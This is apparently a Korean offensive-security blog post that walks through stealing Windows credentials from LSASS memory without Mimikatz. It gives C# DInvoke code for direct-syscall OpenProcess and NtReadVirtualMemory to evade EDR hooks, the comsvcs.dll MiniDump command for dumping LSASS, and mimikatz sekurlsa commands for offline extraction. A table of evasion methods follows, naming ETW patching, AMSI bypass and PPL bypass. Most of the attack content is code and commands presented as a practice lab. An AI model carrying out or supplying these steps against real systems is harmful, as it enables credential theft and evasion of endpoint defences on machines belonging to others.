extract windows credential without mimikatz

agnusdei·2025년 5월 4일
0

Offensive Security

목록 보기
9/26

[목표]

  • Mimikatz를 사용하지 않고
  • C# + DInvoke를 이용해
  • LSASS 메모리에서 크리덴셜 덤프
  • EDR 우회도 고려

[사전 준비]

1. 타깃 환경

  • Windows 10 / 11 (관리자 권한 필요)
  • Defender/EDR 비활성화 or 실전 대응 구성

2. 도구 설치 (공격자 PC)

  • Visual Studio 설치 (C#)
  • Git 설치
  • DInvoke 다운로드
git clone https://github.com/TheWover/DInvoke.git

[실습 흐름]

1단계: LSASS 프로세스 PID 획득

Process[] processes = Process.GetProcessesByName("lsass");
int pid = processes[0].Id;

2단계: OpenProcess를 직접 syscall로 실행

(DInvoke 사용, EDR 우회)

using DInvoke.Data;
using DInvoke.DynamicInvoke;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

...

// 접근 권한
uint PROCESS_ALL_ACCESS = 0x001F0FFF;

// LSASS 핸들 얻기
IntPtr hProcess = Generic.OpenProcess(PROCESS_ALL_ACCESS, false, pid);

이때 Generic.OpenProcess는 DInvoke 내부에서 NtOpenProcess 시스템 콜을 직접 사용합니다. 따라서 EDR의 API Hook을 우회할 수 있습니다.


3단계: 메모리 읽기용 버퍼 생성 및 대상 주소 스캔

(단순 데모에서는 임의 주소 범위 사용)

IntPtr buffer = Marshal.AllocHGlobal(0x1000);
UIntPtr bytesRead = UIntPtr.Zero;

int status = (int)Generic.NtReadVirtualMemory(hProcess, targetAddress, buffer, (UIntPtr)0x1000, ref bytesRead);

※ 실전에서는 LSASS 구조(예: logonSessionList)를 분석하거나 시그니처 기반으로 주소 탐색 필요


4단계: 추출된 메모리 분석

읽은 메모리에서 크리덴셜 문자열, 해시 등이 들어있는 위치를 탐색합니다. 이 부분은 메모리 덤프 분석 경험이 필요하지만, 키워드 검색으로 "Administrator""Password" 같은 문자열부터 찾을 수 있습니다.


[요약 코드 구조]

- Import DInvoke
- OpenProcess (syscall)
- NtReadVirtualMemory (syscall)
- 메모리 출력 (Console.WriteLine / Hex dump)

[고급: LSASS 메모리 덤프 후 오프라인 분석]

# 관리자 권한 PowerShell
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1234 C:\lsass.dmp full
  • 1234는 LSASS PID
  • lsass.dmp 파일 생성됨

이후 Kali에서 mimikatz로 분석 가능:

mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

[실전 팁]

기술우회 목적
DInvokeAPI Hook 우회
SysWhispers2직접 syscall stub 사용
ETW Patching탐지 우회 (Defender 탐지 차단)
AMSI BypassPowerShell 기반 도구 회피
PPL BypassLSASS 보호 프로세스 우회

마무리

이 실습은 **"Mimikatz 없이도 시스템콜을 통해 자격 증명 탈취가 가능"**하다는 걸 보여줍니다.

0개의 댓글